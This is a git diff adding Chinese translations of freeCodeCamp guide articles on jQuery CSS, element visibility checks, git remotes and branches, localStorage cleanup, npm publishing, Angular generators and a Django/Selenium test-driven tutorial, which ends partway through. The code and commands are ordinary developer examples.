\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/change-the-css-of-an-element-using-jquery/index.md b/client/src/guide/chinese/miscellaneous/change-the-css-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..385d8446e5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/change-the-css-of-an-element-using-jquery/index.md
@@ -0,0 +1,16 @@
+---
+title: Change the CSS of an Element Using jQuery
+localeTitle: 使用jQuery更改元素的CSS
+---
+我们也可以使用jQuery直接更改HTML元素的CSS。
+
+Query有一个名为`.css()`的函数，它允许您更改元素的CSS。
+```
+<script> 
+  $(document).ready(function() { 
+    $("#target1").css("color", "red"); 
+ 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/change-the-url-of-a-remote-repository/index.md b/client/src/guide/chinese/miscellaneous/change-the-url-of-a-remote-repository/index.md
new file mode 100644
index 0000000000..2e30936357
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/change-the-url-of-a-remote-repository/index.md
@@ -0,0 +1,28 @@
+---
+title: Change the Url of a Remote Repository
+localeTitle: 更改远程存储库的URL
+---
+`git remote set-url`命令更改现有的远程存储库URL。
+
+**此命令有两个参数：**
+
+1.  现有的远程名称。例如，起源或上游是两种常见的选择。
+    
+2.  远程的新URL。例如， `https://github.com/USERNAME/OTHERREPOSITORY.git`
+    
+
+**因此，要更改远程存储库的URL，您可以执行以下操作：**
+
+1.  查看现有的远程存储库：
+
+`git remote -v`
+
+1.  更改远程存储库的URL：
+
+`git remote set-url origin https://github.com/USERNAME/OTHERREPOSITORY.git`
+
+1.  您可以通过执行以下操作来验证新的远程存储库：
+
+`git remote -v`
+
+_有关更多信息，请查看[此github文章。](https://help.github.com/articles/changing-a-remote-s-url/)_
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md b/client/src/guide/chinese/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md
new file mode 100644
index 0000000000..8c3c09b4a0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/changes-made-to-the-site-on-february-11-2016/index.md
@@ -0,0 +1,55 @@
+---
+title: Changes Made to the Site on February 11 2016
+localeTitle: 2016年2月11日对网站所做的更改
+---
+## 解决使FreeCodeCamp.com变得如此缓慢的瓶颈
+
+*   我们的开源社区正在快速增长，本周我们的网站在高峰时段已经放慢了速度。
+*   我们经历过，发现了几个瓶颈并修复了它们。免费代码营现在应该比以往更快。
+*   非常感谢[@berkeleytrue](https://gitter.im/berkeleytrue)领导这项工作，以及帮助质量保证这些改进的许多营员。
+
+## 介绍我们的新Wiki
+
+*   我们的wiki现在在FreeCodeCamp.com上（而不是我们的主项目的GitHub Wiki）。
+*   我们的维基像我们的聊天和地图一样弹出。我们欢迎有关此新功能的反馈。热键，上下文感知维基文章和其他功能即将推出。
+*   非常感谢[@saintpeter](https://gitter.im/saintpeter) ， [@ hallaathrad](https://gitter.im/hallaathrad)和[@awesomeaniruddh](https://gitter.im/awesomeaniruddh)以及其他许多露营者为此付出的努力！
+
+## 打开我们的商店
+
+*   我们有一个新的T恤运动一直持续到2月15日。快点购买其中一个非常棒的免费代码营T恤： [点击这里查看我们的美国活动](https://teespring.com/free-code-camp-feb) | [点击这里查看我们的欧盟活动](https://teespring.com/free-code-camp-t-shirt-eu-shop)
+*   我们创建了一个新的商店页面。它现在只链接到我们的T恤运动，但我们很快就会有笔记本电脑贴纸和其他很酷的装备。
+
+## 退休露营新闻
+
+*   在过去的一年里，Camper News取得了一定的成功。但我们的subreddit也是如此，它允许评论，审核和许多其他功能。所以我们正在转向Reddit进行新闻分享。
+*   如果您还没有[加入我们的subreddit，](https://www.reddit.com/r/freecodecamp)我们建议您创建一个Reddit帐户。您现在可以与我们整个社区分享链接，以及您的想法和问题。
+*   我们将保留Camper News一段时间，但我们将从导航菜单中删除它的链接，并删除引入它的挑战。
+
+## 更新挑战
+
+*   许多露营者要求我们在“构建个人投资组合网页”之前创建一个更容易的，以HTML为重点的项目。所以我们创建了一个新项目，只需使用名为“Build a Tribute Page”的HTML和Bootstrap即可完成。
+*   我们还对我们的前端项目进行了重新排序。以下是他们现在的结构：
+    *   基本前端项目
+        *   建立致敬页面
+        *   建立个人投资组合网页
+    *   中级前端项目
+        *   建立一个随机报价机
+        *   显示当地天气
+        *   构建Wikipedia查看器
+        *   使用Twitch.tv JSON API
+    *   先进的前端项目
+        *   构建JavaScript计算器
+        *   建立一个番茄钟
+        *   建立一个Tic Tac Toe游戏
+        *   建立一个西蒙游戏
+*   你会注意到，自从我们退休Camper News以来，我们已经删除了“建立一个Camper News Viewer”项目。如果您之前已完成该挑战，则应在地图上为您标记“建立致敬页面”。
+*   此外，对于“构建Tic Tac Toe游戏”，您不再需要使其无与伦比。 （如果你愿意，你当然可以 - [这就是方法](http://neverstopbuilding.com/minimax) 。虽然这样做很有用，但编写人工智能与项目的重点不同，即前端开发。
+*   我们添加了三个新的可选挑战，帮助您加入我们：
+    *   [版（Subreddit）](https://reddit.com/r/freecodecamp)
+    *   [中等出版物](https://medium.freecodecamp.com)
+    *   [Twitch.tv频道](https://twitch.tv/freecodecamp)
+
+## 快来了
+
+*   我们将在未来几天内发起西班牙挑战。
+*   我们计划在今年春季发布可选的React，Sass和D3挑战。但是不要等待 - 你可以在这些项目的官方文件的帮助下完成项目 - 有16名营员已经做到了这一点。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/check-the-length-property-of-a-string-variable/index.md b/client/src/guide/chinese/miscellaneous/check-the-length-property-of-a-string-variable/index.md
new file mode 100644
index 0000000000..b3f1c02650
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/check-the-length-property-of-a-string-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Check the Length Property of a String Variable
+localeTitle: 检查字符串变量的Length属性
+---
+数据结构具有属性。例如，字符串有一个名为`.length`的属性，它将告诉您字符串中有多少个字符。
+```
+lastNameLength = lastName.length; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/checking-for-hidden-elements/index.md b/client/src/guide/chinese/miscellaneous/checking-for-hidden-elements/index.md
new file mode 100644
index 0000000000..1f31893ca8
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/checking-for-hidden-elements/index.md
@@ -0,0 +1,54 @@
+---
+title: Checking for Hidden Elements
+localeTitle: 检查隐藏的元素
+---
+有时您可能需要检查屏幕上是否有可见或隐藏的元素，以便您可以根据其状态对其执行某些操作。我正在环顾Stack Overflow上的一些解决方案，试图确定一个元素是否可见，并且我对我收到的答案感到不满意。
+
+一个答案是使用jQuery库，然后通过使用以下格式检查元素是否具有伪类`:visible` ： `$(element).is(':visible')` 。这适用于使用`display: none;`隐藏的元素`display: none;`在它们上，但它不适用于任何将其`visibility`设置为`hidden`元素。如果父元素是从视图中隐藏的唯一元素，它也不起作用。如果使用`visibility`或`display`隐藏了所测试元素的任何父元素，则正在测试的元素将返回为可见，尽管它在屏幕上不可见。
+
+## 解决方案
+
+我想出了一个纯JavaScript函数，它解决了这个没有依赖性的问题，并且是一个跨浏览器的解决方案。此函数将首先分析元素，以查看其`display`或`visibility`属性是分别显示为`none`或`hidden` 。然后，如果它们恢复正常，它会检查所有父元素直到文档正文。如果隐藏了正在测试的元素的父元素，则意味着正在测试的元素在文档中不可见。
+
+[下面是一个示例CodePen，它演示了这种行为，甚至显示了使用jQuery解决方案和我的纯JavaScript解决方案的比较](http://codepen.io/marcusparsons/pen/bpNqgY) 。请注意，在CodePen中，即使元素在视图中是隐藏的，使用jQuery的`.is(':visible')`也不是真正检查任何元素可见性的可行选项。
+
+这是我创建的功能：
+```
+function isVisible (element) { 
+    //start with initial element to check visibility and display 
+    var el = document.querySelector(element); 
+    //display and visibility vary per browser and must be sought in different ways depending on the browser 
+    var t1 = el.currentStyle ? el.currentStyle.visibility : getComputedStyle(el, null).visibility; 
+    var t2 = el.currentStyle ? el.currentStyle.display : getComputedStyle(el, null).display; 
+    //if either of these are true, then the element is not visible 
+    if (t1 === "hidden" || t2 === "none") { 
+        return false; 
+    } 
+    //This regex is used to scan the parent nodes all the way up to the body element 
+    while (!(/body/i).test(el)) { 
+        //get the next parent node 
+        el = el.parentNode; 
+        //grab the values, if available, 
+        t1 = el.currentStyle ? el.currentStyle.visibility : getComputedStyle(el, null).visibility; 
+        t2 = el.currentStyle ? el.currentStyle.display : getComputedStyle(el, null).display; 
+        if (t1 === "hidden" || t2 === "none") { 
+            return false; 
+        } 
+    } 
+    //if all scans are not successful, then the element is visible 
+    return true; 
+ } 
+```
+
+要使用该函数，您只需要使用查询字符串调用它来选择要测试的元素即
+```
+<body> 
+    <p style="visibility: hidden;" id="myP">My paragraph</p> 
+    <script type="text/javascript"> 
+        //include isVisible function 
+        alert('Is my paragraph visible? ' + isVisible('#myP')); 
+    </script> 
+ </body> 
+```
+
+结果警报将是： `Is my paragraph visible? false`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/checking-if-the-element-is-currently-hidden/index.md b/client/src/guide/chinese/miscellaneous/checking-if-the-element-is-currently-hidden/index.md
new file mode 100644
index 0000000000..e744e53ef3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/checking-if-the-element-is-currently-hidden/index.md
@@ -0,0 +1,18 @@
+---
+title: Checking if the Element Is Currently Hidden
+localeTitle: 检查元素当前是否隐藏
+---
+如果您需要检查页面上某些元素的可见性状态，您可以使用简单的代码块（如下所示）使用jQuery库轻松完成。
+```
+var display = ( jQuery('#someElement').is(':visible') ); 
+ var visibility = ( jQuery('#someElement').css('visibility') != 'hidden' ); 
+ var status = ( display && visibility ); 
+ console.log( status ); 
+```
+
+因此，如果元素当前在页面上可见，则**`console.log(status)`**将返回`true` ，在任何其他情况下，它将返回`false` 。对于这两种情况，将返回`false`陈述：
+
+*   如果元素有`display:none;`
+*   如果元素具有`visibility: hidden`
+
+对于像这样的更高级的检查： **是视口上可见的元素现在**我建议使用[jQuery onScreen插件](http://benpickles.github.io/onScreen/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/checkout-a-remote-branch-in-git/index.md b/client/src/guide/chinese/miscellaneous/checkout-a-remote-branch-in-git/index.md
new file mode 100644
index 0000000000..021d04531b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/checkout-a-remote-branch-in-git/index.md
@@ -0,0 +1,38 @@
+---
+title: Checkout a Remote Branch in Git
+localeTitle: 在Git中签出一个远程分支
+---
+# 签出远程分支工作流程
+
+根据您当地仓库的遥控器数量，请遵循相应的流程。
+
+## 对于使用一个遥控器的回购：
+
+如果你的本地仓库只有一个遥控器，例如`origin` ：
+```
+git remote -v 
+ origin  https://github.com/my_username/AwesomeRepo.git (fetch) 
+ origin  https://github.com/my_username/AwesomeRepo.git (push) 
+```
+
+然后你可以简单地做：
+
+`git fetch`
+
+`git checkout some_branch_name`
+
+## 对于具有多个远程的repos：
+
+如果您的本地仓库有多个遥控器：
+```
+git remote -v 
+ origin      https://github.com/raisedadead/wiki.git (fetch) 
+ origin      https://github.com/raisedadead/wiki.git (push) 
+ upstream    https://github.com/FreeCodeCamp/wiki.git (fetch) 
+ upstream    https://github.com/FreeCodeCamp/wiki.git (push) 
+```
+
+然后你还必须指定一个遥控器：  
+`git fetch`  
+`git checkout -b some_branch_name <remote>/some_branch_name`  
+其中`<remote>`在此示例中是`upstream`或`origin` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md b/client/src/guide/chinese/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md
new file mode 100644
index 0000000000..44f06fe8fc
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/clear-specific-values-from-your-browser-local-storage/index.md
@@ -0,0 +1,47 @@
+---
+title: Clear Specific Values from Your Browser Local Storage
+localeTitle: 从浏览器本地存储中清除特定值
+---
+从浏览器的本地存储中删除特定值将解决与浏览器崩溃或冻结FreeCodeCamp相关的许多问题。
+
+例如，这解决了在使用无限循环保存响应后浏览器在挑战页面中挂出的常见问题。
+
+发生这种情况时，您必须删除存储该响应的`localStorage`的值。
+
+## 在Chrome中：
+
+*   在**freecodecamp.com上** ，打开您的开发人员工具。
+    
+    *   更多工具>开发人员工具（或`Ctrl` + `Shift` + `I` （Windows）， `Cmd` + `Opt` + `I` （Mac））
+*   导航到“ `Resources`选项卡
+    
+*   展开左窗格中的“ `Local Storage`项
+    
+*   选择`http://www.freecodecamp.com`
+    
+*   在右侧窗格中找到要删除数据的挑战![在localStorage Chrome开发者工具中查找密钥](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8300d3dfcf8a07bc3c1f69e7dd730d99e353972d.png)
+    
+*   右键单击所需的挑战并选择“ `Delete`
+    
+
+## 在Firefox中：
+
+*   在**freecodecamp.com上** ，打开您的Web控制台
+    
+    *   `Ctrl` + `Shift` + `K`
+*   从那里，直接使用控制台：
+    
+    *   输入`console.log(localStorage);`并按`Enter` 。
+        
+    *   单击`Storage`链接。 ![从Web控制台打印localStorage对象并显示存储](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e3778d1c24e9da6fe506564405b5b1ebc11facc1.png)
+        
+    *   **存储**面板将出现在右侧。
+        
+    *   过滤结果以查找导致问题的算法，前端项目或挑战。
+        
+    *   找到后，将鼠标悬停在它上面并单击右侧的`x` 。 ![单击x以删除值条目。](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a309e8ec8d92301f3507001ca3a796009d0a00d8.png)
+        
+    *   删除后，检查问题是否已解决。如有必要，请刷新或关闭并打开浏览器。
+        
+
+**注意：**这也可以使用[Storage Inspector完成](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector) ，但是当有这么多值时，Firefox似乎会挂起。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/cloning-a-specific-branch-in-git/index.md b/client/src/guide/chinese/miscellaneous/cloning-a-specific-branch-in-git/index.md
new file mode 100644
index 0000000000..6efcca0e21
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/cloning-a-specific-branch-in-git/index.md
@@ -0,0 +1,19 @@
+---
+title: Cloning a Specific Branch in Git
+localeTitle: 克隆Git中的特定分支
+---
+要克隆分支，请在终端中输入以下内容：
+```
+git clone -b <branch> <remote_repo> 
+```
+
+如果您只想获取指定的分支：
+```
+git clone -b <branch> --single-branch <remote_repo> 
+```
+
+以下是从FreeCodeCamp获取`staging`分支的示例：
+```
+git clone -b staging https://github.com/FreeCodeCamp/FreeCodeCamp.git 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/cloning-all-remote-branches-in-git/index.md b/client/src/guide/chinese/miscellaneous/cloning-all-remote-branches-in-git/index.md
new file mode 100644
index 0000000000..2e5c98ea61
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/cloning-all-remote-branches-in-git/index.md
@@ -0,0 +1,30 @@
+---
+title: Cloning All Remote Branches in Git
+localeTitle: 克隆Git中的所有远程分支
+---
+要克隆远程git存储库，请在终端中输入以下内容：
+
+> 注意：确保您位于根文件夹中，例如`webdev`而不是项目特定文件夹。
+```
+git clone <remote_repo> 
+ cd <remote_repo> 
+```
+
+使用以下命令列出分支：
+```
+git branch // Lists local branches 
+ git branch -a // Lists local and remote branches 
+```
+
+要在本地签出远程分支：
+```
+git checkout <branch> 
+```
+
+以下是从FreeCodeCamp获取远程`master`分支的示例：
+```
+git clone https://github.com/FreeCodeCamp/FreeCodeCamp.git 
+ cd FreeCodeCamp 
+ git checkout master 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/create-a-new-api-endpoint-in-angular/index.md b/client/src/guide/chinese/miscellaneous/create-a-new-api-endpoint-in-angular/index.md
new file mode 100644
index 0000000000..68c63828b0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/create-a-new-api-endpoint-in-angular/index.md
@@ -0,0 +1,7 @@
+---
+title: Create a New Api Endpoint in Angular
+localeTitle: 在Angular中创建一个新的Api端点
+---
+> > yo angular-fullstack：端点whatsit
+
+使用此行，您可以让Yeoman自动为您的数据库生成另一个API端点和新类型的集合。现在我们有_东西_和_whatsits_ ！随意打开**/server/api/whatsit/whatsit.model.js**并根据需要定义你的whatsit。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/create-a-new-route-in-angular/index.md b/client/src/guide/chinese/miscellaneous/create-a-new-route-in-angular/index.md
new file mode 100644
index 0000000000..f786342583
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/create-a-new-route-in-angular/index.md
@@ -0,0 +1,12 @@
+---
+title: Create a New Route in Angular
+localeTitle: 在Angular中创建一个新路径
+---
+> > yo angular-fullstack：路由新页面
+
+在命令行中输入上述内容将为您的应用生成新页面**/**路线！它会自动生成**/ client / app / newpage**文件夹中的所有必要文件，例如**/ client / app / main**文件夹，包含**newpage.controller.js** ， **newpage.controller.spec.js** ， **newpage.js**和**newpage。 HTML** 。这些都非常像**主/**路线中的那些。如果您正在访问新页面控制器中的数据库，则需要将new _http_添加到**newpage.controller.js**中的依赖项列表，方法与**main.controller.js中**包含的**相同** ：
+```
+angular.module('myApp') 
+  .controller('MainCtrl', function ($scope, $http) { ... 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/create-an-npm-module/index.md b/client/src/guide/chinese/miscellaneous/create-an-npm-module/index.md
new file mode 100644
index 0000000000..335123a265
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/create-an-npm-module/index.md
@@ -0,0 +1,49 @@
+---
+title: Create an Npm Module
+localeTitle: 创建一个Npm模块
+---
+NPM模块是捆绑到可分发包中的一组Javascript功能。 [NPM](http://www.npmjs.com)维护所有可用包的注册表，也是用于从其注册表安装包的工具。
+
+NPM的美妙之处在于，您可以组装其他人创建的包以创建新的东西，稍后某人可以使用您创建的包。如果您想要与世界共享某些代码，则可以轻松地将模块发布到NPM。
+
+## 第1步：创建脚本
+
+我创建了这个简单的实用程序作为`index.js` ：
+```
+var time = new Date().toTimeString(); 
+ console.log(time); 
+```
+
+## 第2步：创建包信息
+
+下一步是创建要与包一起发布的信息，存储在`package.json` 。 NPM提供了一个向导，可以轻松创建此文件。
+
+只需运行`npm init`并回答问题。
+
+你的`package.json`应该是这样的：
+```
+{ 
+  "name": "whattimeisit", 
+  "version": "1.0.0", 
+  "description": "accurate time retrieval", 
+  "main": "index.js", 
+  "author": "HoursAndMinutes", 
+  "license": "ISC" 
+ } 
+```
+
+如果代码在GitHub上，请不要忘记包含GitHub存储库链接！
+
+## 第3步：在NPM上创建用户帐户
+
+要将包发布到NPM，您需要注册一个帐户。为此，请运行`npm adduser` 。您可以使用`npm config ls`验证当前正在使用的帐户。
+
+## 第4步：发布到NPM
+
+在将包发布到NPM之前，请检查该目录是否包含您不希望公开的任何文件（例如密码，私钥等）。您可以将这些文件添加到名为`.npmignore`的文件中，以将其从包发布中排除。 NPM也会尊重`.gitignore`如果你有。
+
+完成包装内容后，运行`npm publish` 。您可以在[https://npmjs.com/package/yourpackagename](https://npmjs.com/package/yourpackagename)确认您的包裹的详细信息。
+
+### 更多信息：
+
+创建Node.js模块[npm](https://docs.npmjs.com/getting-started/creating-node-modules)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md b/client/src/guide/chinese/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md
new file mode 100644
index 0000000000..3e906b4f03
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md
@@ -0,0 +1,11 @@
+---
+title: Create and Upload and Link Animated Gif Image
+localeTitle: 创建并上传和链接动画Gif图像
+---
+1.  下载[LICEcap](http://www.cockos.com/licecap/)并安装。
+2.  打开并开始录制以创建动画GIF。
+3.  在[EZGIF.com](http://ezgif.com/optimize)上传`.gif`文件。
+    *   裁剪，调整大小和优化次数或根据需要进行。
+4.  下载动画GIF。
+5.  上传图片到[imgur.com](http://imgur.com) 。
+6.  链接图像使用`![image title](https://i.imgur.com/RqgGcf5.gif)` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/creating-a-new-directive-in-angular/index.md b/client/src/guide/chinese/miscellaneous/creating-a-new-directive-in-angular/index.md
new file mode 100644
index 0000000000..72bb17eae9
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/creating-a-new-directive-in-angular/index.md
@@ -0,0 +1,14 @@
+---
+title: Creating a New Directive in Angular
+localeTitle: 在Angular中创建一个新的指令
+---
+你还记得从角度过程中形成的自定义指令吗？您也可以制作自定义指令！
+```
+>> yo angular-fullstack:directive newdirective 
+```
+
+如果你需要一个自定义指令的html模板（也许你只是制定一个指令来清理你的HTML代码），告诉它在提示你时创建一个html文件，你就可以包含这些内容在您的应用中的任何位置使用该模板：
+```
+<newdirective></newdirective> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/creating-a-new-github-issue/index.md b/client/src/guide/chinese/miscellaneous/creating-a-new-github-issue/index.md
new file mode 100644
index 0000000000..6265e3dafb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/creating-a-new-github-issue/index.md
@@ -0,0 +1,26 @@
+---
+title: Creating a New Github Issue
+localeTitle: 创建一个新的Github问题
+---
+在提交问题之前，请尝试[在Github上搜索您的问题](https://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390)
+
+制定一个好的问题将使开发团队更容易复制和解决您的问题。请按照以下步骤操作：
+
+1.  转到FreeCodeCamp的[Github Issues](https://github.com/FreeCodeCamp/FreeCodeCamp/issues)页面，然后单击`New Issue` 。
+    
+2.  **有一个有用的标题**
+    
+    *   写一个描述问题的有意义的标题。一些很好的例子是`Logging in from the News and Field Guide pages doesn't redirect properly (using e-mail)`和`Typo: "for" instead of "while" loop` ;不好的例子包括`A bug, HELP!!!11` `I found this bug in a Challenge` 。
+        
+    *   保持标题相对较短，描述是为了进一步的信息。一个例子是缩短长的Challenge名称，因此您可能不想`Test case bug in 'Challenge: Check Radio Buttons and Checkboxes by Default'`中编写`Test case bug in 'Radio Buttons' Challenge` ，您可能希望`Test case bug in 'Radio Buttons' Challenge`编写`Test case bug in 'Radio Buttons' Challenge` 。
+        
+3.  在正文中， **提供指向**您遇到此问题的页面**的链接** 。
+    
+4.  **描述问题**并**提供步骤，**以便开发人员可以尝试复制问题。包括您的操作系统和浏览器版本。
+    
+    *   在引用其他问题或提取请求时，只需编写#issue / pr-number即可。
+5.  使用正确的[代码格式](https://forum.freecodecamp.com/t/markdown-code-formatting/18391)粘贴任何相关代码
+    
+6.  **截取**该问题**的屏幕截图**并将其包含在帖子中。
+    
+7.  点击`Submit New Issue` ，你就完成了！您将自动订阅任何更新或未来评论的通知。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/creating-a-project-with-django/index.md b/client/src/guide/chinese/miscellaneous/creating-a-project-with-django/index.md
new file mode 100644
index 0000000000..2f25bb7ca3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/creating-a-project-with-django/index.md
@@ -0,0 +1,229 @@
+---
+title: Creating a Project with Django
+localeTitle: 使用Django创建项目
+---
+既然我们知道如何创建虚拟环境并使用pip，我们就可以开始构建我们的项目了。在本文中，我们将创建我们的第一个Django项目，编写测试，并启动我们的开发服务器。
+
+## 创建虚拟环境
+
+首先，让我们为这个项目创建一个新的虚拟环境。 （如果您还没有，请通过在终端中键入`deactivate`来`deactivate`以前的virtualenv）。有关虚拟环境以及如何使用它们的更多信息，请访问此页面 。
+
+导航到您想要Django项目的目录，并在终端中键入以下内容：
+```
+mkvirtualenv taskplanner --python=/usr/bin/python3 
+```
+
+如果它看起来与上面的路径不同，您可能必须更改Python路径。
+
+现在，命令行shell应如下所示，表明您处于虚拟环境中。
+```
+(taskplanner)<a href='https://sites.google.com/a/chromium.org/chromedriver/downloads' target='_blank' rel='nofollow'>munsterberg@Lenovo ~/workspace] $ 
+```
+
+如果它看起来不像那样，只需输入：
+```
+workon taskplanner 
+```
+
+我们现在可以安装Django了：
+```
+pip install Django 
+```
+
+## 创建我们的Django项目
+
+安装Django后，我们可以创建我们的项目：
+```
+django-admin.py startproject taskplanner 
+```
+
+接下来，键入以下内容导航到我们的新项目：
+```
+cd taskplanner 
+```
+
+在我们做任何事情之前，让我们使用virtualenvwrapper将此目录设置为我们的工作目录：
+```
+setvirtualenvproject 
+```
+
+**旁注** ：有关virtualenvwrapper命令的列表，请在终端中键入`virtualenvwrapper` 。
+
+现在，当我们处于虚拟环境中时，我们可以输入`cdproject`直接导航到我们的工作目录。
+
+您的项目目录应如下所示：
+```
+taskplanner // our main working directory 
+ |--- manage.py // similar to the django-admin script, you will see this used a 
+               // lot throughout our project 
+ |--- taskplanner 
+    |--- __init__.py // this just tells python to treat this directory as a package 
+    |--- settings.py // main configuration file for our project 
+    |--- urls.py // we will use this to configure urls 
+    |--- wsgi.py // this is used for deploying our project to a production server 
+```
+
+## 功能测试
+
+测试驱动开发是开发软件中广泛使用的最佳实践。基本上，我们希望首先编写一个必然会失败的测试，然后编写尽可能少的代码来通过该测试。使用Django，我们的目标是在整个开发过程中编写功能测试（也称为集成测试，端到端测试等）和单元测试。不要出汗，测试并不像看起来那么困难！
+
+但首先，我们需要创建一个专门用于测试的新虚拟环境。在终端中打开一个新选项卡，导航到您的任务计划项目目录并键入：
+```
+mkvirtualenv taskplanner_test --python=/usr/bin/python3 
+```
+
+现在，您应该在终端中打开2个选项卡，一个位于（taskplanner）虚拟环境中，另一个位于（taskplanner\_test）虚拟环境中。
+
+如果在我们的新测试环境（taskplanner\_test）中键入`pip freeze` ，您将看不到任何内容。这是因为我们还没有在新环境中安装任何东西。
+
+所以让我们先将Django安装到我们的测试环境中（taskplanner\_test）：
+```
+pip install Django 
+```
+
+要创建我们的功能测试，我们需要一些东西。首先，我们需要在我们的机器上安装Firefox Web浏览器。如果您没有Firefox，请立即安装。
+
+**旁注** ：您可以使用Chrome进行集成测试，但是您必须在[此处](https://sites.google.com/a/chromium.org/chromedriver/downloads)下载驱动程序并遵循[此堆栈溢出问题](http://stackoverflow.com/questions/13724778/how-to-run-selenium-webdriver-test-cases-in-chrome) 。在运行集成测试时，Firefox的性能始终优于chrome，这是一个非常重要的考虑因素，因为与单元测试相比，集成测试非常慢。
+
+这是因为集成测试正在测试**整个**系统，而不是“单元”（小组件）。在现实世界中，有时最好避免集成测试，因为创建它们需要很长的开发时间，运行时间慢，模糊错误以及您及时发现的其他原因。
+
+但是，在开发真实世界的应用程序时，它们仍然值得我们考虑，尽管性能下降，但在可靠性方面仍然非常有用。
+
+接下来，我们需要安装一个名为[Selenium](http://selenium.googlecode.com/svn/trunk/docs/api/py/index.html)的软件包。这个包将为我们提供一个WebDriver，以便我们可以使用我们的测试来控制浏览器。 Selenium通常用于自动化您的浏览器。
+```
+pip install selenium 
+```
+
+现在我们已经安装了，我们需要一个目录来创建我们的测试：
+```
+mkdir functional_tests 
+```
+
+在`taskplanner`目录中，您现在应该看到以下内容：
+```
+taskplanner 
+ |-- functional_tests 
+ |--- manage.py 
+ |--- taskplanner 
+    ... 
+```
+
+我们现在需要在`functional_tests`文件夹中创建一些文件。我们将创建一个`__init__.py`文件（这将告诉python将`functional_tests`视为一个包），以及一个`test_all_users.py`文件来包含我们的测试。
+
+我们现在就这样做：
+```
+touch functional_tests/__init__.py 
+ touch functional_tests/test_all_users.py 
+```
+
+**旁注** ： `__init__.py`几乎总是一个空文件。有关它的用途的更多信息，请参阅[此stackoverflow答案。](http://stackoverflow.com/questions/448271/what-is-init-py-for)
+
+我们终于可以开始编写第一个功能测试！功能测试用于在我们的Web应用程序中测试功能块。使用Python的TDD将功能测试描述为“应用程序如何从用户的角度运行”。
+
+那么让我们在文本编辑器中打开`test_all_users.py`文件。首先，我们想要导入selenium的webdriver，为了使这更容易，Django提供了一些名为StaticLiveServerTestCase的实时测试。我们现在导入这两个：
+```
+from selenium import webdriver 
+ from django.contrib.staticfiles.testing import StaticLiveServerTestCase 
+```
+
+由于我们是从用户角度进行测试，因此我们将这些测试命名为NewVisitorTest。添加以下内容：
+```
+class NewVisitorTest(StaticLiveServerTestCase): 
+    def setUp(self): 
+        self.browser = webdriver.Firefox() 
+        self.browser.implicitly_wait(2) 
+ 
+    def tearDown(self): 
+        self.browser.quit() 
+```
+
+首先，我们创建一个名为NewVisitorTest的StaticLiveServerTestCase类，它将包含我们要为新访问者运行的测试。然后，我们有两个名为setUp和tearDown的方法。我们运行测试时初始化setUp方法。因此，对于我们运行的每个测试，我们打开Firefox并等待2秒钟以加载页面。 tearDown在每次测试完成后运行，此方法在每次测试后为我们关闭浏览器。
+
+现在我们可以编写第一个测试，让Firefox自动打开和关闭。我们现在在tearDown方法下面编写我们的测试。
+```
+    def test_home_title(self): 
+        self.browser.get('http://localhost:8000') 
+        self.assertIn('Welcome to Django', self.browser.title) 
+```
+
+我们第一次测试，多么令人兴奋让我们来看看吧。我们要创建的每个测试都必须以'test'开头。例如，如果我想为我的css创建一个测试，我会调用方法`test_h2_css` 。所以在这里，我们将测试命名为`test_home_title` 。这是非常不言自明的，这正是我们对测试的要求。该方法首先将Firefox引入URL `http://localhost:8000` ，然后检查“欢迎使用Django”是否在html head标签中。
+
+我们现在运行此测试，看看会发生什么：
+```
+python manage.py test functional_tests 
+```
+
+首先，我们究竟在这里输入什么？ manage.py脚本为我们提供了一个名为'test'的东西，我们将使用它来运行我们所有的测试。这里我们在我们使用`__init__.py`文件创建的`functional_tests`包上运行它。
+
+运行此之后，您应该在终端中看到以下内容：
+```
+F 
+ ====================================================================== 
